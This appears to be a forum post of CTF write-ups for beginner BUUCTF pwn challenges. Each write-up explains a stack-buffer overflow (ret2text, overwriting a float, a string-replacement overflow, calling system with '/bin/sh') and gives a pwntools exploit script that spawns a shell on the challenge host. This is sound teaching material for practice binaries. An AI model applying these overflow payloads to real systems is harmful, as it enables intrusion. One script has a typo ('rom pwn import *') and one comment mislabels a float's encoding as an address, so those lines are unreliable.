pwn打打基础——BUUCTF篇(1)

打印 上一主题 下一主题

主题 873|帖子 873|积分 2619

BUUCTF刷刷基础题先,打牢下基础
test_your_nc

就非常经典的起引导作用的nc题
格式:nc IP 端口

rip

checksec一下

发现开启了部分地址随机化,其它保护什么也没开,有可读写权限,再来看看源代码


发现有gets()函数(并不会限制输入的字节数),也有system("/bin/sh"),没有什么其它陷阱。那这就是一道非常经典的ret2text题目,可直接转到fun()函数即可,那么脚本如下
  1. from pwn import *
  2. #context(arch="amd64", os="linux", log_level="debug")
  3. p = remote("node4.buuoj.cn",27199) #远端链接
  4. offset = 0x0F + 0x08 #0x0F是s的字节大小,0x08是为了覆盖rsp来进行跳转
  5. system = 0x000000000040118A #执行system函数的地址
  6. payload = offset * b'a' + p64(system)
  7. p.sendline(payload) #攻击
  8. p.interactive() #交互模式
复制代码
运行脚本结果后获得权限,然后获取flag即可

warmup_csaw_2016

依旧是先checksec

跟上一题一模一样的保护,然后用IDA查看一下代码

典型的栈溢出,再找找有没有调用system()函数,发现sub_40060D里就藏着我们的目标

思路一下子就明了了起来,由gets进行栈溢出之后跳转到sub_40060D内执行,这里提供两种获得sub_40060D函数地址的方法
①.在IDA的Options里选择General,然后勾选Line prefixes(graph),在sub_40060D函数体内按下TAB键,即可查看到sub_40060D这个子函数的地址


②.在main函数里有sprintf函数,其中%p指向sub_40060D,可以打印出它的地址。直接nc就可以获得它的地址

那么脚本如下
  1. from pwn import *
  2. p = remote('node4.buuoj.cn',29841)
  3. offset = 0x40 + 0x08
  4. payload = offset *b'a' + p64(0x40060d)
  5. p.recvuntil(">") #可以理解为将程序运行到">"字符的出现
  6. p.sendline(payload)
  7. p.interactive()
复制代码
然后就获取权限可以提取flag了

ciscn_2019_n_1

checksec一下

发现多开了一个NX保护,栈不可执行,意味着我们没法直接往栈区里写入类似shellcode的代码,再来看看IDA里边的函数


在func函数里我们发现,要是想获得flag,我们就得让v2等于11.28125,但是在最开始v2已经被初始化为0.0了,那么现在的问题就是如何将v2的值覆盖为11.28125,需要借用我们的gets函数从v1溢出到v2进行覆盖

根据计算,偏移量offset = -0x04 + 0x30,那么最后的难点就是如何给v2赋值了,一个浮点型的数字没办法直接通过十进制来赋值,所以我们要想办法把浮点型数字转换成计算机能够识别的格式,也就是十六进制。但我心有余而力不足,不会这种转换方式,就抱着试一试的心态看看能不能在IDA里找到能表示11.28125,在流程图里看到了个很可疑的对比对象dword_4007F4

这个dword_4007F4后边紧跟着jnz指令,那么我大胆猜测,这个dword_4007F4里就储存着11.28125的十六进制数据,那么此时去获取它的地址

构造脚本
  1. rom pwn import *
  2. p = remote('node4.buuoj.cn',29495)
  3. offset = 0x30 - 0x04
  4. floatnum = 0x41348000 #储存11.28125的地址
  5. payload = offset * b'a' + p64(floatnum)
  6. p.recvuntil('number')
  7. p.sendline(payload)
  8. p.interactive()
复制代码
攻击!如愿以偿的得到了flag

不过,真正正确的攻击方式应该是人为的将11.28125转换为十六进制数据,像这样能够找着存储它的地址的机会实在是很少,还是得多学习下如何进行转换
总结:核心就是赋值,将浮点型数据转换为十六进制数据
pwn1_sctf_2016

checksec

和上题一样,不过变成了x86程序,IDA查看一下



发现有后门函数,但是vuln函数却是个大麻烦,这么多奇怪的代码混淆我们的视线,并且fgets函数里有且仅能输入32字节数据,看起来无法进行栈溢出的样子。但是,我们可以看到有个函数叫replace,根据英文单词释义以及前文中剃刀的两个英语单词,可以猜测是不是将I转换成you,或者将you转换成I,空谈误国,nc一下试试先

事实证明,I被转换成了you,那就好办了,一字节变成了三字节,这不刚好为我们的栈溢出创造条件吗?ok这下就是计算偏移量offset的时间!offset = 0x3C + 0x04,换成十进制就是64字节长度,然后跳转到get_flag函数即可,那么此时就可以构造脚本了
  1. from pwn import *
  2. p = remote('node4.buuoj.cn',28925)
  3. offset = 20 #0x3C ÷ 3 == 20
  4. flag = 0x08048F0D
  5. payload = offset * b'I' + 4 * b'a' + p32(flag) #因为是x86,所以用p32打包,且esp只占4字节长度
  6. p.sendline(payload)
  7. p.interactive()
复制代码
那么运行后结果如下,顺利拿下flag!

jarvisoj_level0(这个跟前边的rip差不多,可跳)

checksec

NX开启,栈不可执行,x64位,查看代码


有后门函数callsystem()

普通的ret2text,脚本如下
  1. from pwn import *
  2. #context(arch="amd64", os="linux", log_level="debug")
  3. p = remote('node4.buuoj.cn',25895)
  4. offset = 0x80 + 0x08
  5. callsystem = 0x0000000000400596
  6. payload = offset * b'a' + p64(callsystem)
  7. p.sendline(payload)
  8. p.interactive()
复制代码
运行脚本即可

jarvisoj_level2

checksec一下

x86,部分地址随机化,NX保护
IDA查看一下代码


嗯,是栈溢出的感觉!但是system里边的参数并不是我们想要的,那在这个程序里面有没有藏着"/bin/sh"呢?找找吧~
然后我们就在Exports里发现了个hint,好东西啊,看看!


好家伙,正是我们所需要的参数!那么现在的任务就是在栈溢出之后把参数传到system函数里边执行了,获取下_system函数地址

OK!那么就可以开始构造脚本了!
  1. from pwn import *
  2. #context(arch="amd64", os="linux", log_level="debug")
  3. p = remote('node4.buuoj.cn',29791)
  4. offset = 0x88 + 0x04
  5. shell = 0x0804A024
  6. system = 0x0804845C
  7. payload = offset * b'a' + p32(system) + p32(shell)
  8. p.sendlineafter("Input:\n",payload) #在接收到"Input:\n"后发送payload
  9. p.interactive()
复制代码
运行脚本获得权限提取flag即可


总结:这几道题里难的就是pwn1_sctf_2016和ciscn_2019_n_1,算是使用ROPgadget前相对来说比较难的基础题。难在代码审计和数据转换,对我来说算是一种比较新的题型了,可以多总结练习一下,把基础夯实,更好学习后面的知识

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

守听

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表